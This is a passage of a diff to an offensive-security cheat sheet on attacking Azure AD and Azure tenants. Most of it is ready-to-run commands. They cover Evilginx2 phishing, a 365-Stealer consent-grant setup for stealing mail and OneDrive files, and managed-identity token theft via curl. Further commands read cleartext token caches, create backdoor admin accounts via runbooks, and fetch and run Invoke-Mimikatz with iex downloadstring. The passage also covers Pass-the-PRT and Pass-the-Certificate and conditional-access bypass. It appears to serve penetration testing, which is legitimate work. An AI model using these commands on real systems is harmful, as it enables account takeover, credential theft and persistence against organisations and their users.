+PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
+PS Az> Get-AzFunctionApp
+PS Az> Get-AzStorageAccount | fl
+PS Az> Get-AzKeyVault
+```
+
+### Enumerate tenant with az cli
+
+```powershell
+PS> az login -u test@.onmicrosoft.com -p
+PS> az vm list
+PS> az vm list --query "[].[name]" -o table
+PS> az webapp list
+PS> az functionapp list --query "[].[name]" -o table
+PS> az storage account list
+PS> az keyvault list
+```
+
+### Enumerate manually
+
+* Federation with Azure AD or O365
+ ```powershell
+ https://login.microsoftonline.com/getuserrealm.srf?login=@&xml=1
+ https://login.microsoftonline.com/getuserrealm.srf?login=root@.onmicrosoft.com&xml=1
+ ```
+* Get the Tenant ID
+ ```powershell
+ https://login.microsoftonline.com//.well-known/openid-configuration
+ https://login.microsoftonline.com/.onmicrosoft.com/.well-known/openid-configuration
+ ```
+
+## Enumeration methodology
+
+```powershell
+# Check Azure Joined
+PS> dsregcmd.exe /status
++----------------------------------------------------------------------+
+| Device State |
++----------------------------------------------------------------------+
+ AzureAdJoined : YES
+ EnterpriseJoined : NO
+ DomainJoined : NO
+ Device Name : jumpvm
+
+# Enumerate resources
+PS Az> Get-AzResource
+
+# Enumerate role assignments
+PS Az> Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/`
+
+# Get info on a role
+PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
+
+# Get info user
+PS AzureAD> Get-AzureADUser -ObjectId
+PS AzureAD> Get-AzureADUser -ObjectId test@.onmicrosoft.com | fl *
+
+# List all groups
+PS AzureAD> Get-AzureADGroup -All $true
+
+# Get members of a group
+PS Az> Get-AzADGroup -DisplayName ''
+PS Az> Get-AzADGroupMember -GroupDisplayName '' | select UserPrincipalName
+
+# Get Azure AD information
+PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
+PS AADInternals> Get-AADIntLoginInformation -UserName admin@.onmicrosoft.com
+PS AADInternals> Get-AADIntTenantID -Domain .onmicrosoft.com # Get Tenant ID
+PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName # Get all the information
+
+# Check if there is a user logged-in to az cli
+PS> az ad signed-in-user show
+
+# Check AppID Alternative Names/Display Name
+PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq ""} | fl
+
+
+# Get all application objects registered using the current tenant
+PS AzureAD> Get-AzureADApplication -All $true
+
+# Get all details about an application
+PS AzureAD> Get-AzureADApplication -ObjectId | fl *
+
+# List all VM's the user has access to
+PS Az> Get-AzVM
+PS Az> Get-AzVM | fl
+
+# Get all function apps
+PS Az> Get-AzFunctionApp
+
+# Get all webapps
+PS Az> Get-AzWebApp
+PS Az> Get-AzWebApp | select-object Name, Type, Hostnames
+
+# List all storage accounts
+PS Az> Get-AzStorageAccount
+PS Az> Get-AzStorageAccount | fl
+
+# List all keyvaults
+PS Az> Get-AzKeyVault
+```
+
+## Phishing with Evilginx2
+
+```powershell
+PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets
+: config domain username.corp
+: config ip 10.10.10.10
+: phishlets hostname o365 login.username.corp
+: phishlets get-hosts o365
+
+Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine
+
+# copy certificate and enable the phishing
+PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt
+PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key
+: phishlets enable o365
+
+# get the phishing URL
+: lures create o365
+: lures get-url 0
+```
+
+## Illicit Consent Grant
+
+> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.
+
+Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole`
+* **Disable user consent** : Users cannot grant permissions to applications.
+* **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
+* **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent,
+* **Custom app consent policy**
+
+### Register Application
+
+1. Login to https://portal.azure.com > Azure Active Directory
+2. Click on **App registrations** > **New registration**
+3. Enter the Name for our application
+4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"**
+5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://:/login/authorized`.
+6. Click **Register** and save the **Application ID**
+
+### Configure Application
+
+1. Click on `Certificates & secrets`
+2. Click on `New client secret` then enter the **Description** and click on **Add**.
+3. Save the **secret**'s value.
+4. Click on API permissions > Add a permission
+5. Click on Microsoft Graph > **Delegated permissions**
+6. Search and select the below mentioned permissions and click on Add permission
+ * Contacts.Read
+ * Mail.Read / Mail.ReadWrite
+ * Mail.Send
+ * Notes.Read.All
+ * Mailboxsettings.ReadWrite
+ * Files.ReadWrite.All
+ * User.ReadBasic.All
+ * User.Read
+
+### Setup 365-Stealer
+
+:warning: Default port for 365-Stealer phishing is 443
+
+- Run XAMPP and start Apache
+- Clone 365-Stealer into `C:\xampp\htdocs\`
+ * `git clone https://github.com/AlteredSecurity/365-Stealer.git`
+- Install the requirements
+ * Python3
+ * PHP CLI or Xampp server
+ * `pip install -r requirements.txt`
+- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
+- Edit `C:/xampp/htdocs/yourvictims/index.php` if needed
+ - Disable IP whitelisting `$enableIpWhiteList = false;`
+- Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
+ - **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered.
+ - **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created.
+ - **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https:///login/authorized`
+ - **Macros Location**: Path of macro file that we want to inject.
+ - **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
+ - **Delay**: Delay the request by specifying time in seconds while stealing
+- Create a Self Signed Certificate to use HTTPS
+- Run the application either click on the button or run this command : `python 365-Stealer.py --run-app`
+ - `--no-ssl`: disable HTTPS
+ - `--port`: change the default listening port
+ - `--token`: provide a specific token
+ - `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token
+- Find the Phishing URL: go to `https://:` and click on **Read More** button or in the console.
+
+**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu".
+
+
+## Token from Managed Identity
+
+> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.
+
+Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env`
+
+Most of the time, you want a token for one of these resources:
+* https://storage.azure.com
+* https://vault.azure.net
+* https://graph.microsoft.com
+* https://management.azure.com
+
+
+### Azure API via Powershell
+
+Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
+
+Then query the Azure REST API to get the **subscription ID** and more .
+
+```powershell
+$Token = 'eyJ0eX..'
+$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
+# $URI = 'https://graph.microsoft.com/v1.0/applications'
+$RequestParams = @{
+ Method = 'GET'
+ Uri = $URI
+ Headers = @{
+ 'Authorization' = "Bearer $Token"
+ }
+}
+(Invoke-RestMethod @RequestParams).value
+
+# List resources and check for runCommand privileges
+$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
+$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse:
+ logging.info('Python HTTP trigger function processed a request.')
+ IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
+ IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
+ cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
+ val = os.popen(cmd).read()
+ return func.HttpResponse(val, status_code=200)
+```
+
+
+### Get Tokens
+
+:warning: The lifetime of a Primary Refresh Token is 14 days!
+
+```powershell
+# az cli - get tokens
+az account get-access-token
+az account get-access-token --resource-type aad-graph
+# or Az
+(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
+# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT
+```
+
+### Use Tokens
+
+> Tokens contain all the claims including that for MFA and Conditional Access
+
+* Az Powershell
+ ```powershell
+ PS C:\Tools> $token = 'eyJ0e..'
+ PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId
+
+ # Access Token and Graph Token
+ PS C:\Tools> $token = 'eyJ0eX..'
+ PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
+ PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId
+ PS C:\Tools> Get-AzResource
+ # ERROR: 'this.Client.SubscriptionId' cannot be null.
+ # ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
+ ```
+* AzureAD
+ ```powershell
+ Import-Module C:\Tools\AzureAD\AzureAD.psd1
+ $AADToken = 'eyJ0…'
+ Connect-AzureAD -AadAccessToken $AADToken -TenantId -AccountId
+ ```
+
+### Refresh Tokens
+
+* https://github.com/ConstantinT/Lantern
+ ```powershell
+ Lantern.exe cookie --derivedkey --context --prt
+ Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename --outpfxfile
+ Lantern.exe token --username --password
+ Lantern.exe token --refreshtoken
+ Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password )
+ ```
+* https://github.com/rvrsh3ll/TokenTactics
+ ```powershell
+ Import-Module .\TokenTactics.psd1
+ CommandType Name Version Source
+ ----------- ---- ------- ------
+ Function Clear-Token 0.0.1 TokenTactics
+ Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics
+ Function Forge-UserAgent 0.0.1 TokenTactics
+ Function Get-AzureToken 0.0.1 TokenTactics
+ Function Get-TenantID 0.0.1 TokenTactics
+ Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics
+ Function Parse-JWTtoken 0.0.1 TokenTactics
+ Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics
+ Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics
+ Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics
+ Function RefreshTo-GraphToken 0.0.1 TokenTactics
+ Function RefreshTo-MAMToken 0.0.1 TokenTactics
+ Function RefreshTo-MSGraphToken 0.0.1 TokenTactics
+ Function RefreshTo-MSManageToken 0.0.1 TokenTactics
+ Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics
+ Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics
+ Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics
+ Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics
+ Function RefreshTo-OutlookToken 0.0.1 TokenTactics
+ Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
+ ```
+
+## Stealing Tokens
+
+* Get-AzurePasswords
+ ```powershell
+ Import-Module Microburst.psm1
+ Get-AzurePasswords
+ Get-AzurePasswords -Verbose | Out-GridView
+ ```
+
+### Stealing tokens from az cli
+
+* az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\\.Azure`
+* azureProfile.json in the same directory contains information about subscriptions.
+
+### Stealing tokens from az powershell
+
+* Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\\.Azure`
+* It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json**
+* Users can save tokens using `Save-AzContext`
+
+
+## Add credentials to all Enterprise Applications
+
+```powershell
+# Add secrets
+PS > . C:\Tools\Add-AzADAppSecret.ps1
+PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose
+
+# Use secrets to authenticate as Service Principal
+PS > $password = ConvertTo-SecureString '' -AsPlainText -Force
+PS > $creds = New-Object System.Management.Automation.PSCredential('', $password)
+PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant ''
+```
+
+## Spawn SSH for Azure Web App
+
+```powershell
+az webapp create-remote-connection --subscription --resource-group -n
+```
+
+## Azure Storage Blob
+
+* Blobs - `*.blob.core.windows.net`
+* File Services - `*.file.core.windows.net`
+* Data Tables - `*.table.core.windows.net`
+* Queues - `*.queue.core.windows.net`
+
+### Enumerate blobs
+
+```powershell
+PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
+PS > Invoke-EnumerateAzureBlobs -Base -OutputFile azureblobs.txt
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
-Found Storage Account - securefilestorage.blob.core.windows.net
-Found Storage Account - securestorageaccount.blob.core.windows.net
-Found Storage Account - securesql.blob.core.windows.net
-Found Storage Account - hrsecure.blob.core.windows.net
-Found Storage Account - secureit.blob.core.windows.net
-Found Storage Account - secureimages.blob.core.windows.net
-Found Storage Account - securestorage.blob.core.windows.net
+```
-Bing Found Storage Account - notrealstorage.blob.core.windows.net
+### SAS URL
-Found Container - hrsecure.blob.core.windows.net/NETSPItest
+* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
+* Click on **Open Connect Dialog** in the left menu.
+* Select **Blob container**.
+* On the **Select Authentication Method** page
+ * Select **Shared access signature (SAS)** and click on Next
+ * Copy the URL in **Blob container SAS URL** field.
+
+:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
+
+### List and download blobs
+
+```powershell
+PS Az> Get-AzResource
+PS Az> Get-AzStorageAccount -name -ResourceGroupName
+PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name -ResourceGroupName ).context
+PS Az> Get-AzStorageBlobContent -Container -Context (Get-AzStorageAccount -name -ResourceGroupName ).context -Blob
+```
+
+## Runbook Automation
+
+### Create a Runbook
+
+```powershell
+# Check user right for automation
+az extension add --upgrade -n automation
+az automation account list # if it doesn't return anything the user is not a part of an Automation group
+az ad signed-in-user list-owned-objects
+
+# If the user is not part of an "Automation" group.
+# Add him to a custom group , e.g: "Automation Admins"
+Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
+
+# Get the role of a user on the Automation account
+# Contributor or higher = Can create and execute Runbooks
+Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/
+
+# List hybrid workers
+Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName
+
+# Create a Powershell Runbook
+PS C:\Tools> Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose
+
+# Publish the Runbook
+Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose
+
+# Start the Runbook
+Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose
+```
+
+### Persistence via Automation accounts
+
+* Create a new Automation Account
+ * "Create Azure Run As account": Yes
+* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
+ * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
+ * Publish the runbook
+ * Add a webhook to the runbook
+* Add the AzureAD module to the Automation account
+ * Update the Azure Automation Modules
+* Assign "User Administrator" and "Subscription Owner" rights to the automation account
+* Eventually lose your access…
+* Trigger the webhook with a post request to create the new user
+ ```powershell
+ $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
+ $AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
+ $body = ConvertTo-Json -InputObject $AccountInfo
+ $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
+ ```
+
+
+## Virtual Machine RunCommand
+
+Requirements:
+* `Microsoft.Compute/virtualMachines/runCommand/action`
+
+```powershell
+# Get Public IP of VM : query the network interface
+PS AzureAD> Get-AzVM -Name -ResourceGroupName | select -ExpandProperty NetworkProfile
+PS AzureAD> Get-AzNetworkInterface -Name
+PS AzureAD> Get-AzPublicIpAddress -Name
+
+# Execute Powershell script on the VM
+PS AzureAD> Invoke-AzVMRunCommand -VMName -ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
+
+# Connect via WinRM
+PS C:\Tools> $password = ConvertTo-SecureString '' -AsPlainText -Force
+PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
+PS C:\Tools> $sess = New-PSSession -ComputerName -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
+PS C:\Tools> Enter-PSSession $sess
+```
+
+> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
+
+```powershell
+# List available VMs
+PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
+ResourceGroupName Name
+----------------- ----
+TESTRESOURCES Remote-Test
+
+# Execute Powershell script on the VM
+PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
+```
+
+Against the whole subscription using MicroBurst.ps1
+
+```powershell
+Import-module MicroBurst.psm1
+Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
-## Azure AD vs Active Directory
+## KeyVault Secrets
+
+```powershell
+# keyvault access token
+curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
+curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
+
+# connect
+PS> $token = 'eyJ0..'
+PS> $keyvaulttoken = 'eyJ0..'
+PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken
+
+# query the vault and the secrets
+PS Az> Get-AzKeyVault
+PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
+PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText
+```
+
+## Pass The PRT
+
+> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
+
+```powershell
+# Run mimikatz to obtain the PRT
+PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
+PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
+
+# Copy the PRT and KeyValue
+Mimikatz> privilege::debug
+Mimikatz> token::elevate
+Mimikatz> dpapi::cloudapkd /keyvalue: /unprotect
+
+# Copy the Context, ClearKey and DerivedKey
+Mimikatz> dpapi::cloudapkd /context: /derivedkey: /Prt:
+```
+
+```powershell
+# Generate a JWT
+PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
+PS AADInternals> $PRT_OF_USER = '...'
+PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
+PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
+PS AADInternals> $ClearKey = "XXYYZZ..."
+PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
+PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
+eyJ0eXAiOiJKV1QiL...
+```
+
+The `` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.
+Edit the Chrome cookie (F12) -> Application -> Cookies with the values:
+
+```powershell
+Name: x-ms-RefreshTokenCredential
+Value:
+HttpOnly: √
+```
+
+:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.
+
+
+## Pass The Certificate
+
+```ps1
+Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose
+Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert
+
+# Require the PRT, TenantID, Context and DerivedKey
+& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId --prt --userName @.onmicrosoft.com --hexCtx --hexDerivedKey
+# PFX saved with the name @.onmicrosoft.com.pfx and password AzureADCert
+```
+
+Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine
+
+https://github.com/morRubin/AzureADJoinedMachinePTC
+
+```ps1
+Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
+Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10
+
+python Main.py --usercert C:\Users\Username\Documents\username\@.onmicrosoft.com.pfx --
+certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"
+```
+
+## Intunes Administration
+
+Requirements:
+* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
+
+1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
+2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
+3. Go to **Scripts** and click on **Add** for Windows 10.
+4. Add a **Powershell script**
+5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
+
+:warning: It will take up to one hour before you script is executed !
+
+
+
+## Dynamic Group Membership
+
+Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
+
+Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
+Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
+
+1. Open user's profile, click on **Manage**
+2. Click on **Resend** invite and to get an invitation URL
+3. Set the secondary email
+ ```powershell
+ PS> Set-AzureADUser -ObjectId -OtherMails @.onmicrosoft.com -Verbose
+ ```
+
+## Administrative Unit
+
+> Administrative Unit can reset password of another user
+
+```powershell
+PS AzureAD> Get-AzureADMSAdministrativeUnit -Id
+PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id
+PS AzureAD> Get-AzureADMSScopedRoleMembership -Id | fl
+PS AzureAD> Get-AzureADDirectoryRole -ObjectId
+PS AzureAD> Get-AzureADUser -ObjectId | fl
+PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
+PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "@.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
+```
+
+## Deployment Template
+
+```powershell
+PS Az> Get-AzResourceGroup
+PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
+
+# Export
+PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -DeploymentName
+cat .json # search for hardcoded password
+cat | Select-String password
+```
+
+## Application Proxy
+
+```powershell
+# Enumerate application that have Proxy
+PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
+PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
+PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
+PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId
+```
+
+## Conditional Access
+
+* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
+* Bypassing conditional access by faking device compliance
+ ```powershell
+ # AAD Internals - Making your device compliant
+ # Get an access token for AAD join and save to cache
+ Get-AADIntAccessTokenForAADJoin -SaveToCache
+ # Join the device to Azure AD
+ Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
+ # Marking device compliant - option 1: Registering device to Intune
+ # Get an access token for Intune MDM and save to cache (prompts for credentials)
+ Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
+ # Join the device to Intune
+ Join-AADIntDeviceToIntune -DeviceName "SixByFour"
+ # Start the call back
+ Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
+ ```
+
+
+## Azure AD
+
+With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
+
+1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
+2. Change your browser URL to: https://azure.microsoft.com/
+3. Pick the account from the active sessions
+4. Select Azure Active Directory and enjoy!
+
+### Azure AD vs Active Directory
| Active Directory | Azure AD |
|---|---|
@@ -164,7 +934,6 @@ Found Container - hrsecure.blob.core.windows.net/NETSPItest
| Domain/forest | Tenant |
| Trusts | Guests |
-
* Password Hash Syncronization (PHS)
* Passwords from on-premise AD are sent to the cloud
* Use replication via a service account created by AD Connect
@@ -173,137 +942,13 @@ Found Container - hrsecure.blob.core.windows.net/NETSPItest
* Connect Windows Server AD to Azure AD using Federation Server (ADFS)
* Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
-## Azure AD - Enumeration
-> By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph.
+* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
+* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
+* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
+* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
-Check if the compagny is using Azure AD with `https://login.microsoftonline.com/getuserrealm.srf?login=username@target.onmicrosoft.com&xml=1`.
-
-```powershell
-$ git clone https://github.com/dirkjanm/ROADtools
-$ pip install roadrecon
-$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
-$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
-$ roadrecon dump
-$ roadrecon gui
-```
-
-Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD
-
-```powershell
-PS C:\> git clone https://github.com/adrecon/AzureADRecon.git
-PS C:\> Install-Module -Name AzureAD
-PS C:\> .\AzureADRecon.ps1
-
-or
-
-PS C:\> $username = "username@fqdn"
-PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
-PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd)
-PS C:\> .\AzureADRecon.ps1 -Credential $creds
-
-PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report-
-```
-
-Stormspotter, graphing Azure and Azure Active Directory objects
-
-```powershell
-$ docker run --name stormspotter -p7474:7474 -p7687:7687 -d --env NEO4J_AUTH=neo4j/[password] neo4j:3.5.18
-git clone https://github.com/Azure/Stormspotter
-cd Stormspotter
-pipenv install .
-stormspotter --cli
-stormdash -dbu -dbp
-Browse to http://127.0.0.1:8050 to interact with the graph.
-```
-
-Other interesting commands to enumerate Azure AD.
-
-```powershell
-# Azure AD powershell module
-Get-AzureADDirectoryRole
-
-# MSOnline powershell module
-Get-MsolRole
-Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl
-
-#Connect to Azure AD using Powershell
-install-module azuread
-import-module azuread
-get-module azuread
-connect-azuread
-
-# Get list of users with role global admins# Note that role =! group
-$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
-Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
-
-# Get all groups and an example using filter
-Get-AzureADGroup
-Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
-
-# Get Azure AD policy
-Get-AzureADPolicy
-
-# Get Azure AD roles with some examples
-Get-AzureADDirectoryRole
-Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}
-Get-AzureADDirectoryRoleTemplate
-
-# Get Azure AD SPNs
-Get-AzureADServicePrincipal
-
-# Log in using Azure CLI (this is not powershell)
-az login --allow-no-subscriptions
-
-# Get member list using Azure CLI
-az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'
-
-# Get user list
-az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com'
-
-#PS script to get array of users / roles
-$roleUsers = @()
-$roles=Get-AzureADDirectoryRole
-
